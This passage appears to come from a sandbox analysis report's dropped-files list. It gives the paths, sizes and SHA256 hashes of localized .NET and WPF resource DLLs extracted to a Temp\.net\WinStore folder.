                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Windows.Forms.Design.resources.dll
                                • Size 146KB
                                • SHA256 19d745c2d60c4a81a1bc6bd61ad1a99379ac0c60aae2d817b45642f54476464a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 4f8e94eb5062c7bcd6706840d60ce19fedae1570c5f5f32f1162f3b806e12288
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Windows.Forms.resources.dll
                                • Size 359KB
                                • SHA256 ddcf35689db99f572b48ff7b5ecf81bf630f1ebc06ba517f34b4961b1bd46c7c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 72dce8cb962754900b534c4695e2ddbb6b18b9be4a572871f285a453164c9e40
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Xaml.resources.dll
                                • Size 64KB
                                • SHA256 4d362ba38d942f4d3ec30438b0bb6e3ba02e0b89c0b2c00cfb5e6ba79bc6c5df
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 17b54cf04ad9f7c6408b81f1e361d55e7d6392fe749c49ef4d3a513e9db65c87
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 fbb456da89081c245be3c2da722c3cd809117d3508712120eae7f34a20b6f0e7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 a6d643064cc7f1ff011339e45ef04776c8eeecded247bad968e5d321f35d09c6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 c36420e97850cafb3157fe003302c8864e7d621e76431c37b5d499f484edfb11
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\WindowsBase.resources.dll
                                • Size 88KB
                                • SHA256 2423f4af16398149ed34f5209438771fa0ad1331d8178c612bacce8bcc00964f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 c89df2e4409807bbafb8e6cc6b0239dd7dde3b627ca8fdbb42e52fcba32a6fa4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 25KB
                                • SHA256 c93545039cdf47180e161889e116fde4b068166bf178eaa43feaf282d8339c45
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\PresentationCore.resources.dll
                                • Size 119KB
                                • SHA256 1dd3e9b01118349164f06024ac3973552448f69396b0443304bdc1e0e7a4b05c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\PresentationFramework.resources.dll
                                • Size 220KB
                                • SHA256 94f9ed9fd409bb2aece16b9eb453c5d433053e3302b10a9d199f4e9ac943a17c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\PresentationUI.resources.dll
                                • Size 47KB
                                • SHA256 25131f8d429542bd762b7f9482144892982dceee2cb1d9b8d6133a107777b464
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\ReachFramework.resources.dll
                                • Size 40KB
                                • SHA256 359f9c0809f2765a53e3bd67b6798c45c4f0f1b4b1fa559facc3b3eadd17f69e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Windows.Controls.Ribbon.resources.dll
                                • Size 18KB
                                • SHA256 d2b6e20fdc4827821aa32bd2086b9db8ecc9e1c23ca00b9b7e468cf759ade331
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Windows.Forms.Design.resources.dll
                                • Size 151KB
                                • SHA256 919b44a34e2c07fd3f077344c0ea3893acec61e5bc108c8e13b6fe0fd7b2ce32
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 b0a7f56c054f89fbab19c3a0ecf93a2e5f4e2aaeae6d9201df2cbf399516ce83
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Windows.Forms.resources.dll
                                • Size 399KB
                                • SHA256 53e0c1b52326905de6441bd8773089adf756053b753ff9623404af654dceb901
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 a92c2d4d6b4665ed9394d7d38baf40dd394477418e8dfd38c258b0f68c4756f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\System.Xaml.resources.dll
                                • Size 72KB
                                • SHA256 a7b6acdc5efb112fa659f89ea2a7ad5f218b8d54d5ea367f060c2990df17aa5e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 317dc47ca6d3c895519a81d01462ac4547398994e72abe40e4a3a0d23fa1797c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 f2d21fc9179696bf4eb791daa5eeaef32d716fddb91579cab512662f438faa2d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 4e909912f03752c04a84d91b7ce01cf058ff6b570b7bf7f8b968b0135f43286a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 27c004b75811b262b891d5dd44a00c4e74d1811e16859fde360e783a42783564
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\WindowsBase.resources.dll
                                • Size 96KB
                                • SHA256 46598300f2bd96e74162b0b339606f0bb8dfb8de0e053b9e72f39dc40826e448
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ja\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 44e302e41b65ebd24170b13aaca340197c0bd379ddd350b7984298d6d6c11ddb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 9fed208527d6303b551c143bd593f95994565c919a2bffb32d4302d29dbb88f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\PresentationCore.resources.dll
                                • Size 111KB
                                • SHA256 160950128a991dcb170bff5988f7b3e39f475974ef673650160cfec8f2be0e89
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\PresentationFramework.resources.dll
                                • Size 206KB
                                • SHA256 a98a0f3474e191f2849e8e7cad441eb62e7084aed49fd1b0b11bbe3d095f772d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 61c7913efe492850a87fe9529f2e926239c769d243af84b9fb18fe2acaff0518
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\ReachFramework.resources.dll
                                • Size 39KB
                                • SHA256 17996148239fbffb218b292e3a8e1bd8d43f9d5720abb4ffe56b348d318c0b5b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 156d06eb898565f0841c4a9dbfbe8c60286becf0a60661c7093ca7d8f9704d94
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Windows.Forms.Design.resources.dll
                                • Size 147KB
                                • SHA256 8c2b840838b0ab2685cdb2f8b7008611b927f74ff2304e82377262c88943bd13
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 a59d7799573dbdd46b13c0597f7d23538590064dc2c32b28fb03d6d802c14fe1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Windows.Forms.resources.dll
                                • Size 361KB
                                • SHA256 84814bc49c66f3cdc29df5fe8b687dc635b9938b0dc9d5602acfdc0e46e6c321
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 103e2c3b235660d157004622896714043c6020b565845420e1015d05d30fc737
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\System.Xaml.resources.dll
                                • Size 67KB
                                • SHA256 a063e4c1f4a26c0f43671dd94a54ab6136b96751c431b0627168f8f8451391ee
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 7cd1d1b6960464fd23228999cc8591fed8aefd59f97adac336f783b4f7d4749e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 0f499ff370f48b5de900c9a80abda644215b044c6bcc381b45edfd1936b6401c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 e28d62446b834bc614bca72901d75b71b8cbb85aa39cce1d2e5c2b0a2a56b117
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 b91ce94b0db4b8cb250ccd97eb0b9f4f2cbe638c3934a1a2a88d6c2fa4fe9ad1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\WindowsBase.resources.dll
                                • Size 89KB
                                • SHA256 df990a1d8cb2fa26862ecd07a7440349ab5d953b60ff9c9b0d15eab5682ec485
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ko\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 e6f38d317bb99e5dba545af91ec6ad9af4d24087824d4b329c185108d9869cf7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 65b97d0dffa3196299493a260ed7b920adf21079fb5fd8637d791baac3d886ff
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\PresentationCore.resources.dll
                                • Size 110KB
                                • SHA256 fa301215dd21d04fdd559ca5a1cbd2774ae949d1fb6678461747edc20e7a9cfd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\PresentationFramework.resources.dll
                                • Size 204KB
                                • SHA256 129d760089cfcff73ee5d0214ff98717429594415aef95f086c706ea53b67b52
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 e393e3670f354929751708f449cb9bae1c37affeecb91cf72ea723a6f4ba6696
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\ReachFramework.resources.dll
                                • Size 38KB
                                • SHA256 9e2c4d6e22727827e36576bf026e67502b813dbecc1e940cb07eccdf70305c29
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 a23a15c0bc75136df662b363bfa243b0078eceef863220f6e89098cf9f1afa28
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Windows.Forms.Design.resources.dll
                                • Size 145KB
                                • SHA256 d19bc9f50e679439eaffd42f5ab2ef8d7459514f1a32bd5c6fca4ac4c9925ef1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 2f57d0def76d2752cf52be48f3556ab34063c2ec8d15c4b295a2bc0599602994
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Windows.Forms.resources.dll
                                • Size 357KB
                                • SHA256 b9b6615db9e51c544496b15b8799b12fb67bded40e97f2d14c4885ff0b72a33b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 2875d727732dfe3aa693eba825d9959527c3e27c8601277af0e8df14b8bf30e9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\System.Xaml.resources.dll
                                • Size 67KB
                                • SHA256 4e5550c61b712b49cfd793a899d18853bf2078e0fe0fdb066cbd1202e7305dd7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 7c4ab84ea8634dd2b7b5c0ad98fb178e767a836705847e9ff94e6119be9f55a9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 a2618398e6ff62b76c009178afbf32a0344b0f1057bb69702be4a309d9d36560
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 0670e1fb0dbffebc5e3c162b57e487a4283f3e6a47588478c23adbf5e206d7c0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 0681fab4d382bbb164309888ebf46b375595b51e1c1d0657fa93ce7a06e59822
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\WindowsBase.resources.dll
                                • Size 88KB
                                • SHA256 95da8695c1f486e8ec2d9fe111310fcfbae02aefbda6a2d98459335ad37d58ff
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pl\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 1f436891d823b3fa8e4b0e34d52322f62dbdf560eeadba0c4b5b1c684e41efdf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 1f8ff96a7136dda2315d70403139b44f002e542978da60aff6d3795399e1735b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\PresentationCore.resources.dll
                                • Size 106KB
                                • SHA256 dab80f21122637083b8698228cf76ec594c27b83ac4a36b605fe4db1ad405fe4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\PresentationFramework.resources.dll
                                • Size 197KB
                                • SHA256 f9e0401f17f733ce4eacf6a975b26631b74406d60866710c38d8fa86d6c87f21
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 1332e0adc8b33ec6946864820b4647af8891e027704b9f717021032eb5b84874
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\ReachFramework.resources.dll
                                • Size 37KB
                                • SHA256 acd13e72942a24f769819692683fee561f3e7a524721d55cc081bb0b81e9bc95
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 9c66eb906e9b87504df33c5ec925b6e7033ccdd59bf1d16268f71d6fa7c65199
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Windows.Forms.Design.resources.dll
                                • Size 145KB
                                • SHA256 f9a1cea86a614c09cd603399d02cc7bd97924a97beda9bc307fcf68763534f58
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 497ff9e939a33eadfd260900457486c7993798e5de8cbfd658c32cbeff417da1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Windows.Forms.resources.dll
                                • Size 350KB
                                • SHA256 5eb7364453f2a85ed6e1789baabd9ebfeab45b1611b91e5b836ad3ba137d2b74
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 92446c2c181b9902f2585963204a95ce03aa5fbb05540abb915a3891f3f2e874
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\System.Xaml.resources.dll
                                • Size 63KB
                                • SHA256 e9a74dc37cc68c5e661195f9a114f987d33a2450fcfaed50d5e39e3b9a0f53d7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 cc5202c2a6b74f2bb206e92d54b66e5c96f70a92bd42135fc32a061ae67da92d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 8b967b95a6ab30b5a895a11fe98ed1342fa4583ebd7d053d11fbca1867374f69
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 f28f314e150028820f2e143d4518cae9d8c81a180087894d3339179b68580024
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 3e7ba065dc328cfbe9ef8acb9681e631c1ee81bacb542887ac7df84008deb070
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\WindowsBase.resources.dll
                                • Size 86KB
                                • SHA256 3918fc8fd841f5c737f3e2ea6b96698a82824e681fafcbae85b0c2f7a5935ae6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\pt-BR\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 ea25aef7ccff4700b9ae654c786ee97733b0559345939209ef2ddda6c667fa69
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 25KB
                                • SHA256 6fa86e04484614792f6761a18b0d439317df117a1abafea26824fda8f5d4b051
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\PresentationCore.resources.dll
                                • Size 134KB
                                • SHA256 a3d9f5ac03bacc43c5107e4033fa3e9707a6da80d705bc6829c40f88a5bfbf9e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\PresentationFramework.resources.dll
                                • Size 251KB
                                • SHA256 1df2a3b66a211b5b93c2c8ca857df7b5b1c17f6b9fb4532a71978f4c6407d621
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\PresentationUI.resources.dll
                                • Size 52KB
                                • SHA256 a921e3fba3b24588733ecfce4cf5dfcf64ce929bfaf07c5c6ccdf67a9d3ef49d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\ReachFramework.resources.dll
                                • Size 42KB
                                • SHA256 85bf1c951ca7e74667311276757ff487e08bbc99e2543f77a66a891cea8dd7ea
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Windows.Controls.Ribbon.resources.dll
                                • Size 18KB
                                • SHA256 e22e41a422cdca8b6be29233d9fa75fd13547ede2c8fe488e6ff183ed1783533
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Windows.Forms.Design.resources.dll
                                • Size 158KB
                                • SHA256 f1f599cf5c2d92ca6f7594927947744e5d93e2f462330331097ae38fe4b2e68d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 af9ae5ab036e5f0d799492b043c1edb46c3ec12d00aab2c2e5816bd4e0b3c4e2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Windows.Forms.resources.dll
                                • Size 465KB
                                • SHA256 3ac11d5a99e99fcaa94c800af326f7856fbecc8b1df4249d11ba05a1f7332bb2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Windows.Input.Manipulations.resources.dll
                                • Size 16KB
                                • SHA256 b3c36962dfdefaf166744135dac0d725539f29b398e4c15101b8900b670f5107
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\System.Xaml.resources.dll
                                • Size 82KB
                                • SHA256 0f9a09d6a961de94a3a0e3e63aed71a0e2195cc8b76962204facf36e57081822
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\ru\UIAutomationClient.resources.dll
                                • Size 20KB
                                • SHA256 1fbf112fc69cbe95a186757d9d76da4fefd8ec1978a1b1c3b99b4dae2ff7b3d9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

